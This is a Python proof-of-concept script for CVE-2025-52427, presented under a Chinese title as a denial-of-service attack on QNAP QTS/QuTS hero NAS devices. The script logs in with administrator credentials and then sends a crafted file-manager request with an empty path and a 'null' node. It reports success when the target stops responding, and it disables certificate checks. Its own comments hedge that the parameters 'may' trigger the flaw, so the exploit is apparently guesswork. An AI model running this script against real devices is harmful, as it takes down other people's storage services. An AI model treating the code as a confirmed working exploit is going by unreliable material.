CVE-2025-52427 QNAP QTS/QuTS hero空指针解引用拒绝服务漏洞

# CVE-2025-52427 PoC - QNAP QTS/QuTS hero NULL Pointer Dereference DoS # This PoC demonstrates triggering the NULL pointer dereference vulnerability # Requires valid administrator credentials on the target QNAP NAS device import requests import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit_null_pointer_deref(target_url, username, password): """ Trigger NULL pointer dereference vulnerability in QNAP QTS/QuTS hero to cause denial of service. """ session = requests.Session() session.verify = False # Step 1: Authenticate as administrator login_url = f"{target_url}/cgi-bin/login.cgi" login_data = { "user": username, "pwd": password, "group": "admin" } try: print(f"[*] Authenticating to {target_url}...") resp = session.post(login_url, data=login_data, timeout=10) if resp.status_code != 200 or "auth" not in session.cookies: print("[-] Authentication failed. Administrator credentials required.") return False print("[+] Authentication successful") # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint processes input without proper NULL checks vulnerable_endpoint = f"{target_url}/cgi-bin/filemanager/index.html" # Crafted parameters designed to trigger NULL pointer dereference crafted_params = { "func": "get_listing", "path": "", # Empty path may trigger NULL pointer access "node": "null", "sid": session.cookies.get("NASID", "") } print("[*] Sending crafted request to trigger NULL pointer dereference...") resp = session.get(vulnerable_endpoint, params=crafted_params, timeout=10) # Step 3: Verify DoS by checking service availability print("[*] Checking service availability...") check_resp = session.get(target_url, timeout=5) if check_resp.status_code >= 500 or check_resp.elapsed.total_seconds() > 10: print("[+] Target appears to be unresponsive - DoS successful!") return True else: print("[-] Target still responsive. Payload may need adjustment.") return False except requests.exceptions.ConnectionError: print("[+] Connection refused - target service has crashed!") return True except requests.exceptions.Timeout: print("[+] Connection timeout - target service is unresponsive!") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <admin_user> <admin_password>") print(f"Example: {sys.argv[0]} https://192.168.1.100:8080 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] success = exploit_null_pointer_deref(target, user, pwd) sys.exit(0 if success else 1)